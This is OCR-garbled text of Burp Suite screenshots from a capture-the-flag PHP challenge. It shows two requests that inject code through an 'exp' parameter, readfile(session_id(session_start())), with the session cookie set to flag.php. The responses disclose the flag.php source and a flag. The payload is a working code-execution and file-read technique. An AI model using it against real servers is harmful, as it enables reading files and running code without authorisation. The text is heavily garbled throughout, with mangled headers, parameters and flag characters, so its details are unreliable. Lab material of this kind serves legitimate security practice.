Target TProxy TSpider TScanner Tlntruder ] Repeater rSequencer TDecoder TComparer TExtender TOptions TAIerts ]

1xT2xT3xm

Go Cancel < |v > |-

lequest

Raw IParams THeaders THex ]

Target: http://62019f42-15f5-4c7f-bcd4-82¢c9e3ef6854.

Response

J Raw THeaders THex ]

i /?exp=print_r|(session_id (session start())):
TE/1.1
=t

019f42-f5f5-4cTf-bodd-82c%e3efe854 . node3.buuoj.cn
(Windows NT 10.0; Wing4d; xc4d;

er-Agent: Mozilla/5.0
:68.0)
cept:

Gecko/20100101 Firefox/68.0

xt/html, application/xhtml+xzml, application/xml;g=0.9,*

;q=0.8
‘cept-Language:

~CN,zh;q=0.8,zh-TW;g=0.7,zh-HK;q=0.5,en-U3;g=0.3,en;q

‘cept-Encoding: gzip, deflate
nnection: keep-aliwve
wokie:PHPSESSID=flag.php
grade-Insecure-Requests: 1
che-Control: max-age=0

2 DUITP JUILE FTUIESSIUNd] v 1.0 - 1ILETISEU W LdiTyLdu

jurp Intruder Repeater Window Help

A HTTP/1.1 200 OK

P Server: openresty
Date: Tue, 04 Feb 2020 12:20:08 GMT
Content-Type: text/html; charset=UTF-!
Content-Length: 31
Connection: keep-alive
¥X-Powered-By: PHP/5.6.40

flaglO0O<br>flag.php

Target TProxy TSpider TScanner Tlntruder ] Repeater ISequencer TDecoder TComparer TExtender TOptions TAIerts ]

1 % 2 x 3 x

Go Cancel < |7 > |

Request

Raw IParams THeaders THex ]

Target: http://62019f42-f5f5-4c7f-bcd4-82c9e3ef6854.node3.buuoj.cn | & L

Response

J Raw THeaders THex ]

iT /?exp=readfile(session id(session start()]);
'TP/1.1

=t
201S9f42-£5f5-4cTf-bedd-82c%3ef6854 . node3. buuci.cn
ser-Agent: Mozilla/5.0 (Windows NT 10.0; Win6d; xz64;
r1e8.0) Gecko/20100101 Firefox/638.0

rcept:

sxt/html, application/zhtml+s=ml, application/=ml; g=0.%, *
pgq=0.8

rcept-Language:

1-CN, zh;q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-Us; q=0. 3, en;q
1.2

:cept-Encoding: gzip, deflate

nnection: keep-alive

yokie:PHPSESSID=flag.php

ygrade-Insecure-Requests: 1

iche-Control: maz-age=0

e

-
A\

0 matches

?_J LJ u w Type a search term

HTTF/1.1 200 OK

Server: openresty

Date: Tue, 04 Feh 2020 12:20:43 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 89

Connection: keep-alive

X-Powered-By: PHP/5.6.40

flagOODO0O<br><?php
S5flag = "flag{dfabedac-5fc7-4b%7-%T7a0-bajeetlefeaf}";
>

0 matck

uJ b u b Type a search term
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